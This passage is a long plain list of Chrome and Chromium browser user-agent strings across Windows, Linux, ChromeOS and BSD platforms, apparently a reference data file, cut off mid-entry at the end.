Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.246.0 Safari/532.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1025 Safari/532.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/6.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.999 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.0.400.0 Safari/533.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.596.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; it-IT) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.25 Safari/532.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; AppleWebKit/534.16; KHTML; like Gecko; Chrome/10.0.648.11;Safari/534.16) Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35 Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1 Mozilla/5.0 (X11; CrOS i686 1193.158.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 Mozilla/5.0 (X11; CrOS i686 12.0.742.91) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30 Mozilla/5.0 (X11; CrOS i686 12.433.109) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30 Mozilla/5.0 (X11; CrOS i686 12.433.216) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.105 Safari/534.30 Mozilla/5.0 (X11; CrOS i686 13.587.48) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.43 Safari/535.1 Mozilla/5.0 (X11; CrOS i686 1660.57.0) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.46 Safari/535.19 Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/1EA69 Mozilla/5.0 (X11; FreeBSD i386) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2 Mozilla/5.0 (X11; Linux amd64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 Mozilla/5.0 (X11; Linux amd64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.14 Safari/534.24 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.702.0 Chrome/12.0.702.0 Safari/534.24 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.91 Chromium/12.0.742.91 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.33 (KHTML, like Gecko) Ubuntu/9.10 Chromium/13.0.752.0 Chrome/13.0.752.0 Safari/534.33 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.804.0 Chrome/14.0.804.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.813.0 Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.803.0 Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.814.0 Chrome/14.0.814.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1041.0 Safari/535.21 Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.04 Chromium/11.0.696.0 Chrome/11.0.696.0 Safari/534.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/10.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Ubuntu/11.10 Chromium/18.0.1025.142 Chrome/18.0.1025.142 Safari/535.19 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.824.0 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.10 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1042.0 Safari/535.21 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.341 Safari/534.10 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10 Mozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10 Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) 